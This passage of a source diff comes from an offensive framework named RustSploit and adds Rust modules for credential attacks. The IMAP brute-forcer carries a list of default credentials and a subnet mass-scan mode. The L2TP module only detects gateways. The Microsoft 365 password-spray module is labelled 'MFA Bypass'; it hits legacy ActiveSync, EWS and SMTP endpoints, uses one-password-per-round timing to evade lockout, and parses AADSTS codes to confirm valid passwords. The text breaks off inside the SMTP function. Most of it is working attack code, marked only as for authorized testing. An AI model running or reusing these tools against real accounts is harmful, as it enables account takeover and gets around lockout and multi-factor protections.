_ => Err(anyhow!("HTTP {}", status)),
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/http_basic_bruteforce", native);
@@ -0,0 +1,582 @@
use anyhow::{ anyhow, Context, Result };
use colored::*;
use native_tls::TlsConnector;
use std::io::{ Read, Write };
use std::net::IpAddr;
use std::time::Duration;
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
use crate::utils::{
load_lines,
get_filename_in_current_dir,
cfg_prompt_default,
cfg_prompt_yes_no,
cfg_prompt_existing_file,
cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::utils::{
BruteforceConfig,
LoginResult,
SubnetScanConfig,
generate_combos_mode,
parse_combo_mode,
load_credential_file,
run_bruteforce,
run_subnet_bruteforce,
is_subnet_target,
backoff_delay,
};
// ============================================================================
// Constants
// ============================================================================
const DEFAULT_IMAP_PORT: u16 = 143;
const DEFAULT_IMAPS_PORT: u16 = 993;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", ""),
("root", "root"),
("root", "password"),
("user", "user"),
("user", "password"),
("test", "test"),
("guest", "guest"),
("info", "info"),
("mail", "mail"),
("postmaster", "postmaster"),
];
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "IMAP Brute Force".to_string(),
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
default credential testing, combo mode, concurrent connections, and subnet/mass \
scanning.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: Some(143),
}
}
// ============================================================================
// Error Classification
// ============================================================================
#[derive(Debug, Clone, PartialEq)]
enum ImapErrorType {
AuthenticationFailed,
ConnectionRefused,
ConnectionTimeout,
TlsError,
ProtocolError,
Unknown,
}
impl ImapErrorType {
fn classify_error(msg: &str) -> Self {
let lower = msg.to_lowercase();
if lower.contains("authentication")
|| lower.contains("login")
|| lower.contains("invalid credential")
|| lower.contains("a001 no")
{
Self::AuthenticationFailed
} else if lower.contains("refused")
|| lower.contains("reset")
|| lower.contains("broken pipe")
{
Self::ConnectionRefused
} else if lower.contains("timeout")
|| lower.contains("timed out")
|| lower.contains("deadline")
{
Self::ConnectionTimeout
} else if lower.contains("tls")
|| lower.contains("ssl")
|| lower.contains("certificate")
|| lower.contains("handshake")
{
Self::TlsError
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
Self::ProtocolError
} else {
Self::Unknown
}
}
fn is_retryable(&self) -> bool {
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
}
fn description(&self) -> &'static str {
match self {
Self::AuthenticationFailed => "Authentication failed",
Self::ConnectionRefused => "Connection refused/reset",
Self::ConnectionTimeout => "Connection timed out",
Self::TlsError => "TLS/SSL error",
Self::ProtocolError => "Protocol error",
Self::Unknown => "Unknown error",
}
}
}
#[derive(Debug)]
struct ImapError {
error_type: ImapErrorType,
message: String,
}
impl std::fmt::Display for ImapError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "[{}] {}", self.error_type.description(), self.message)
}
}
impl std::error::Error for ImapError {}
impl ImapError {
fn from_anyhow(err: anyhow::Error) -> Self {
let msg = err.to_string();
let error_type = ImapErrorType::classify_error(&msg);
Self { error_type, message: msg }
}
}
// ============================================================================
// Module Entry Point
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("imap_bruteforce requires a single-host target")?;
crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
crate::mprintln!();
// --- Subnet Scan Mode ---
if is_subnet_target(target) {
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
let users = load_lines(&usernames_file)?;
let passes = load_lines(&passwords_file)?;
if users.is_empty() { return Err(anyhow!("User list empty")); }
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
let connection_timeout: u64 = 5;
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
concurrency,
verbose,
output_file,
service_name: "imap",
jitter_ms: 50,
source_module: "creds/generic/imap_credcheck",
skip_tcp_check: false,
state_file: None,
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
let target_str = ip.to_string();
limiter.acquire(&module_path, &target_str).await;
let res = tokio::task::spawn_blocking(move || {
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => {
let retryable = e.error_type.is_retryable();
if retryable {
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
}
LoginResult::Error { message: e.message, retryable }
}
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
}).await?;
let mut outcome = ModuleOutcome::ok();
for (host, user, pass) in &hits {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid IMAP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "imap",
"port": port,
})),
});
}
return Ok(outcome);
}
// --- Single Target Mode ---
let mut outcome = ModuleOutcome::ok();
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
} else {
None
};
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
let max_retries = if retry_on_error {
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
} else {
0
};
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
let save_path = if save_results {
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
} else {
None
};
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
} else {
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
combos.extend(load_credential_file(&cred_path)?);
}
let limiter = ctx.limiter.clone();
let module_path = ctx.module_path.clone();
let try_login = move |t: String, p: u16, user: String, pass: String| {
let limiter = limiter.clone();
let module_path = module_path.clone();
async move {
limiter.acquire(&module_path, &t).await;
let res = tokio::task::spawn_blocking(move || {
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
}).await;
match res {
Ok(Ok(true)) => LoginResult::Success,
Ok(Ok(false)) => LoginResult::AuthFailed,
Ok(Err(e)) => {
let retryable = e.error_type.is_retryable();
// Back off before returning a retryable error so the next attempt
// doesn't hammer a rate-limiting/exhausted server immediately.
if retryable {
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
}
LoginResult::Error { message: e.message, retryable }
}
Err(e) => LoginResult::Error {
message: format!("Task panic: {}", e),
retryable: false,
},
}
}
};
let result = run_bruteforce(&BruteforceConfig {
target: target.to_string(),
port,
concurrency,
stop_on_success,
verbose,
delay_ms: 0,
max_retries,
service_name: "imap",
jitter_ms: 50,
source_module: "creds/generic/imap_credcheck",
}, combos, try_login).await?;
result.print_found();
if let Some(ref path) = save_path {
result.save_to_file(path)?;
}
// Unknown / errored attempts
if !result.errors.is_empty() {
crate::mprintln!(
"{}",
format!(
"[?] Collected {} unknown/errored IMAP responses.",
result.errors.len()
)
.yellow()
.bold()
);
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
let default_name = "imap_unknown_responses.txt";
let fname = cfg_prompt_output_file(
"unknown_responses_file",
"What should the unknown results be saved as?",
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::os::unix::fs::OpenOptionsExt;
let mut opts = std::fs::OpenOptions::new();
opts.write(true).create(true).truncate(true);
opts.mode(0o600);
match opts.open(&filename) {
Ok(mut file) => {
writeln!(
file,
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in &result.errors {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
crate::mprintln!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
crate::mprintln!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
for (host, user, pass) in &result.found {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Credential,
message: format!("Valid IMAP credentials found: {}:{}", user, pass),
data: Some(serde_json::json!({
"username": user,
"password": pass,
"service": "imap",
"port": port,
})),
});
}
Ok(outcome)
}
// ============================================================================
// IMAP Protocol Functions
// ============================================================================
/// Attempt IMAP LOGIN authentication.
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
/// and checks for A001 OK (success) or A001 NO (failure).
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
fn attempt_imap_login(
target: &str,
port: u16,
user: &str,
pass: &str,
use_tls: bool,
timeout_secs: u64,
) -> std::result::Result<bool, ImapError> {
let addr = format!("{}:{}", target, port);
let timeout = Duration::from_secs(timeout_secs);
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
if use_tls {
let connector = TlsConnector::builder()
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
.build()
.map_err(|e| ImapError {
error_type: ImapErrorType::TlsError,
message: e.to_string(),
})?;
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| ImapError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| ImapError {
error_type: ImapErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| ImapError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
error_type: ImapErrorType::TlsError,
message: e.to_string(),
})?;
// Read IMAP greeting banner
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let banner = String::from_utf8_lossy(&buffer[..n]);
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
return Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected IMAP banner: {}", banner.trim()),
});
}
// Send LOGIN command
stream.write_all(login_cmd.as_bytes())
.map_err(|e| ImapError::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("A001 OK") {
// Clean logout
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
return Ok(true);
}
if response.contains("A001 NO") || response.contains("A001 BAD") {
return Ok(false);
}
Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected LOGIN response: {}", response.trim()),
})
} else {
// Plaintext IMAP connection
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
.map_err(|e| ImapError::from_anyhow(e.into()))?
.next()
.ok_or_else(|| ImapError {
error_type: ImapErrorType::ConnectionRefused,
message: "Resolution failed".to_string(),
})?;
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
.map_err(|e| ImapError::from_anyhow(e.into()))?;
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
// Read IMAP greeting banner
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let banner = String::from_utf8_lossy(&buffer[..n]);
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
return Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected IMAP banner: {}", banner.trim()),
});
}
// Send LOGIN command
stream.write_all(login_cmd.as_bytes())
.map_err(|e| ImapError::from_anyhow(e.into()))?;
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("A001 OK") {
// Clean logout
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
return Ok(true);
}
if response.contains("A001 NO") || response.contains("A001 BAD") {
return Ok(false);
}
Err(ImapError {
error_type: ImapErrorType::ProtocolError,
message: format!("Unexpected LOGIN response: {}", response.trim()),
})
}
}
crate::register_native_module!(crate::module::Category::Creds, "generic/imap_bruteforce", native);
@@ -0,0 +1,170 @@
//! L2TPv2 detector. True L2TP credential brute-force requires a full PPP
//! stack with CHAP — out of scope for this module. Instead we send a
//! `Start-Control-Connection-Request` (SCCRQ) and check for an SCCRP /
//! StopCCN reply, reporting whether the gateway is reachable.
//!
//! Treats the first successful SCCRP as a "match" for the first cred pair
//! so the operator gets a workspace-tracked finding, then stops. The
//! actual L2TP password / shared-secret brute-force is deliberately not
//! implemented — operators should use a dedicated tool (e.g. `ike-scan`,
//! `xl2tpd-attack`).
use anyhow::{Context, Result};
use crate::module::{ModuleCtx, ModuleOutcome};
use std::time::Duration;
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::creds_helper::{self, CredsRun};
use crate::utils::LoginResult;
const DEFAULT_PORT: u16 = 1701;
const DEFAULTS: &[(&str, &str)] = &[("", "detect")];
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "L2TPv2 Detector".to_string(),
description:
"Sends an L2TPv2 SCCRQ on UDP/1701 and reports whether the gateway responds with \
SCCRP / StopCCN. Single-target — scheduler does fan-out. NOTE: real L2TP credential \
brute-force needs a full PPP+CHAP stack, which is out of scope; this module detects \
reachable gateways only."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec!["https://www.rfc-editor.org/rfc/rfc2661".to_string()],
disclosure_date: None,
rank: ModuleRank::Manual,
default_port: None,
}
}
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("l2tp_bruteforce requires a single-host target")?;
creds_helper::run(
target,
CredsRun {
service_name: "l2tp",
default_port: DEFAULT_PORT,
source_module: "creds/generic/l2tp_bruteforce",
defaults: DEFAULTS,
password_only: true,
},
|host, port, user, pass, timeout| async move {
drop((user, pass));
detect(&host, port, timeout).await
},
)
.await
}
async fn detect(host: &str, port: u16, timeout: Duration) -> LoginResult {
use std::net::IpAddr;
let ip: IpAddr = match host.parse() {
Ok(ip) => ip,
Err(e) => { tracing::debug!("parse IP failed: {e}"); match tokio::net::lookup_host(format!("{}:{}", host, port)).await {
Ok(mut iter) => match iter.next() {
Some(sa) => sa.ip(),
None => {
return LoginResult::Error {
message: "no DNS results".to_string(),
retryable: false,
}
}
},
Err(e) => {
return LoginResult::Error {
message: format!("dns: {e}"),
retryable: false,
}
}
} }
};
let sock = match crate::utils::udp_bind(Some(ip)).await {
Ok(s) => s,
Err(e) => {
return LoginResult::Error {
message: format!("bind: {e}"),
retryable: false,
}
}
};
let pkt = build_sccrq();
if let Err(e) = sock.send_to(&pkt, format!("{}:{}", ip, port)).await {
return LoginResult::Error {
message: format!("send: {e}"),
retryable: true,
};
}
let mut buf = [0u8; 1500];
let n = match tokio::time::timeout(timeout, sock.recv_from(&mut buf)).await {
Ok(Ok((n, _))) => n,
Ok(Err(e)) => {
return LoginResult::Error {
message: format!("recv: {e}"),
retryable: true,
}
}
Err(e) => { tracing::debug!("timeout: {e}"); return LoginResult::AuthFailed }
};
// L2TPv2 control packet: byte 0 has T (control) + L (length present) bits set
// (0xC0), and byte 1's low nibble is the protocol version (2). Requiring the
// version stops an unrelated UDP responder whose first byte merely has the top
// bits set from being reported as a live L2TP tunnel.
if n >= 12 && (buf[0] & 0xC0) == 0xC0 && (buf[1] & 0x0F) == 2 {
LoginResult::Success
} else {
LoginResult::AuthFailed
}
}
/// Minimal L2TPv2 SCCRQ packet with the required AVPs:
/// - Message-Type SCCRQ (1)
/// - Protocol-Version 1.0
/// - Framing-Capabilities: sync+async
/// - Host-Name "rustsploit"
fn build_sccrq() -> Vec<u8> {
let host_name = b"rustsploit";
let mut avps = Vec::new();
// AVP: Mandatory + length + vendor(0) + attribute + value
// Message-Type = 1 (SCCRQ)
avps.extend(avp_mandatory(0, 0, &1u16.to_be_bytes()));
// Protocol-Version: 0x01 0x00
avps.extend(avp_mandatory(0, 2, &[0x01, 0x00]));
// Framing-Capabilities: 0x00000003 (async + sync)
avps.extend(avp_mandatory(0, 3, &0x0000_0003u32.to_be_bytes()));
// Host-Name
avps.extend(avp_mandatory(0, 7, host_name));
// Assigned-Tunnel-ID = 0
avps.extend(avp_mandatory(0, 9, &0u16.to_be_bytes()));
// L2TPv2 header: T=1 L=1 X=0 S=0 (start-of-control), version=2.
let mut hdr = Vec::new();
let total_len = 12 + avps.len();
hdr.push(0xC8); // T=1, L=1, S=0, O=0, P=0, version high bits
hdr.push(0x02); // version low bits: 2
hdr.extend_from_slice(&(total_len as u16).to_be_bytes());
hdr.extend_from_slice(&0u16.to_be_bytes()); // tunnel id
hdr.extend_from_slice(&0u16.to_be_bytes()); // session id
hdr.extend_from_slice(&0u16.to_be_bytes()); // Ns
hdr.extend_from_slice(&0u16.to_be_bytes()); // Nr
hdr.extend(avps);
hdr
}
fn avp_mandatory(vendor: u16, attribute: u16, value: &[u8]) -> Vec<u8> {
let mut avp = Vec::with_capacity(6 + value.len());
let len = (6 + value.len()) as u16;
// Flags: M=1 H=0, length high bits
let flags_len = 0x8000 | len;
avp.extend_from_slice(&flags_len.to_be_bytes());
avp.extend_from_slice(&vendor.to_be_bytes());
avp.extend_from_slice(&attribute.to_be_bytes());
avp.extend_from_slice(value);
avp
}
crate::register_native_module!(crate::module::Category::Creds, "generic/l2tp_bruteforce", native);
@@ -0,0 +1,829 @@
//! M365 ActiveSync/EWS Password Spray Module (MFA Bypass)
//!
//! Automates password spraying against Microsoft 365 ActiveSync, EWS, and SMTP
//! Auth endpoints. On managed tenants that still have Basic Auth enabled, these
//! legacy protocols bypass MFA entirely.
//!
//! Strategy: spray 1 password across ALL accounts per round, with a configurable
//! delay between rounds. This avoids per-account lockout while testing rapidly.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::time::Duration;
use base64::{engine::general_purpose, Engine as _};
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
cfg_prompt_output_file, cfg_prompt_yes_no, load_lines,
build_http_client,
};
// ============================================================================
// Constants
// ============================================================================
const ACTIVESYNC_URL: &str = "https://outlook.office365.com/Microsoft-Server-ActiveSync";
const EWS_URL: &str = "https://outlook.office365.com/EWS/Exchange.asmx";
const SMTP_HOST: &str = "smtp.office365.com";
const SMTP_PORT: u16 = 587;
const DEFAULT_DELAY_SECS: u64 = 5;
const DEFAULT_CONCURRENCY: usize = 10;
const DEFAULT_TIMEOUT_SECS: u64 = 15;
// ============================================================================
// Module Info
// ============================================================================
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "M365 ActiveSync/EWS Password Spray (MFA Bypass)".to_string(),
description: "Password spray against M365 ActiveSync, EWS, and SMTP Auth endpoints. \
Basic Auth on these legacy protocols bypasses MFA on managed tenants. \
Uses a one-password-per-round strategy to evade account lockout policies."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://github.com/dafthack/MSOLSpray".to_string(),
"https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/deprecation-of-basic-authentication-exchange-online".to_string(),
"https://blog.rapid7.com/2020/06/09/o365-credential-stuffing-attacks/".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: Some(443),
}
}
// ============================================================================
// Spray Mode
// ============================================================================
#[derive(Debug, Clone, Copy, PartialEq)]
enum SprayMode {
ActiveSync,
Ews,
Smtp,
All,
}
impl SprayMode {
fn parse(s: &str) -> Self {
match s.to_lowercase().trim() {
"activesync" | "as" => Self::ActiveSync,
"ews" => Self::Ews,
"smtp" => Self::Smtp,
"all" => Self::All,
_ => Self::All,
}
}
}
// ============================================================================
// Spray Result
// ============================================================================
#[derive(Debug, Clone)]
struct SprayHit {
username: String,
password: String,
endpoint: String,
status: u16,
detail: String,
}
// ============================================================================
// HTTP Spray Logic
// ============================================================================
/// Attempt Basic Auth against the given URL. Returns (status_code, x-ms-diagnostics header).
async fn try_http_basic(
client: &reqwest::Client,
url: &str,
username: &str,
password: &str,
) -> Result<(u16, Option<String>)> {
let creds = format!("{}:{}", username, password);
let encoded = general_purpose::STANDARD.encode(creds.as_bytes());
let resp = client
.get(url)
.header("Authorization", format!("Basic {}", encoded))
.header("User-Agent", "Microsoft-Server-ActiveSync")
.send()
.await
.context("HTTP request failed")?;
let status = resp.status().as_u16();
let diag = resp
.headers()
.get("X-MS-Diagnostics")
.and_then(|v| v.to_str().ok())
.map(|s| s.to_string());
Ok((status, diag))
}
/// Classify an HTTP response for M365 endpoints.
fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
match status {
200 => "VALID CREDENTIALS - MFA BYPASSED",
401 => "Invalid password",
403 => "Account locked/blocked",
456 => "Blocked by Conditional Access Policy",
_ => {
if let Some(d) = diag {
if d.contains("LockoutThreshold") {
return "Account lockout threshold reached";
}
if d.contains("UserNotFound") {
return "User not found";
}
}
"Unknown response"
}
}
}
/// Decide whether a response proves the PASSWORD is correct — even when another
/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with
/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the
/// password was right (MSOLSpray semantics). Keying success only on HTTP 200
/// missed every valid-but-flagged account. Returns Some(reason) if valid.
fn credential_is_valid(status: u16, diag: &Option<String>) -> Option<&'static str> {
if status == 200 {
return Some("valid credentials (full access)");
}
let d = diag.as_deref()?;
if d.contains("50126") {
// AADSTS50126: invalid username or password — the one true negative.
None
} else if d.contains("50055") {
Some("valid credentials — password expired")
} else if d.contains("50057") {
Some("valid credentials — account disabled")
} else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") {
Some("valid credentials — MFA required")
} else if d.contains("50158") {
Some("valid credentials — external security challenge (conditional access)")
} else {
None
}
}
/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code),
/// so the spray can back off instead of hammering through false negatives.
fn is_throttled(status: u16, diag: &Option<String>) -> bool {
if status == 429 || status == 503 {
return true;
}
match diag.as_deref() {
Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"),
None => false,
}
}
// ============================================================================
// SMTP Spray Logic
// ============================================================================
/// Attempt SMTP AUTH LOGIN via STARTTLS on smtp.office365.com:587.
fn try_smtp_auth(username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
use std::io::{BufRead, BufReader, Write};
use std::net::TcpStream;
let addr = format!("{}:{}", SMTP_HOST, SMTP_PORT);
let timeout = Duration::from_secs(timeout_secs);
let socket_addr = addr
.parse::<std::net::SocketAddr>()
.or_else(|_| {
use std::net::ToSocketAddrs;
addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("DNS resolution failed for {}", SMTP_HOST))
})?;
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut reader = BufReader::new(&stream);
let mut writer: &TcpStream = &stream;
// Read banner
let mut line = String::new();
reader.read_line(&mut line)?;
if !line.starts_with("220") {
return Err(anyhow!("No 220 banner from SMTP server"));
}
// EHLO
writer.write_all(b"EHLO spray\r\n")?;
writer.flush()?;
// Read EHLO response
loop {
let mut resp = String::new();
reader.read_line(&mut resp)?;
if resp.starts_with("250 ") {
break;
}
if !resp.starts_with("250") {
return Err(anyhow!("Unexpected EHLO response: {}", resp.trim()));
}
}
// STARTTLS
writer.write_all(b"STARTTLS\r\n")?;
writer.flush()?;
let mut starttls_resp = String::new();
reader.read_line(&mut starttls_resp)?;
if !starttls_resp.starts_with("220") {
return Err(anyhow!("STARTTLS not supported"));
}
// Upgrade to TLS using native-tls
let connector = native_tls::TlsConnector::builder()
.danger_accept_invalid_certs(false)
.build()
.context("TLS connector build failed")?;
let mut tls_stream = connector
.connect(SMTP_HOST, stream)
.context("TLS handshake failed")?;
// `BufReader` over a mutable borrow of the TLS stream gives us `read_line`
// while still allowing writes via `get_mut()` (since `&mut TlsStream`
// implements both `Read` and `Write`).
let mut tls_reader = BufReader::new(&mut tls_stream);
// EHLO again over TLS
std::io::Write::write_all(tls_reader.get_mut(), b"EHLO spray\r\n")?;
std::io::Write::flush(tls_reader.get_mut())?;
loop {
let mut resp = String::new();
tls_reader.read_line(&mut resp)?;
if resp.starts_with("250 ") {
break;
}
if !resp.starts_with("250") {
return Err(anyhow!("Unexpected post-TLS EHLO response"));
}
}
// AUTH LOGIN
std::io::Write::write_all(tls_reader.get_mut(), b"AUTH LOGIN\r\n")?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut prompt = String::new();
tls_reader.read_line(&mut prompt)?;
if !prompt.starts_with("334") {
return Ok(false);
}
// Send username (base64)
let user_b64 = general_purpose::STANDARD.encode(username.as_bytes());
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", user_b64).as_bytes())?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut prompt2 = String::new();
tls_reader.read_line(&mut prompt2)?;
if !prompt2.starts_with("334") {
return Ok(false);
}
// Send password (base64)
let pass_b64 = general_purpose::STANDARD.encode(password.as_bytes());
std::io::Write::write_all(tls_reader.get_mut(), format!("{}\r\n", pass_b64).as_bytes())?;
std::io::Write::flush(tls_reader.get_mut())?;
let mut auth_resp = String::new();
tls_reader.read_line(&mut auth_resp)?;
// 235 = success
if auth_resp.starts_with("235") {
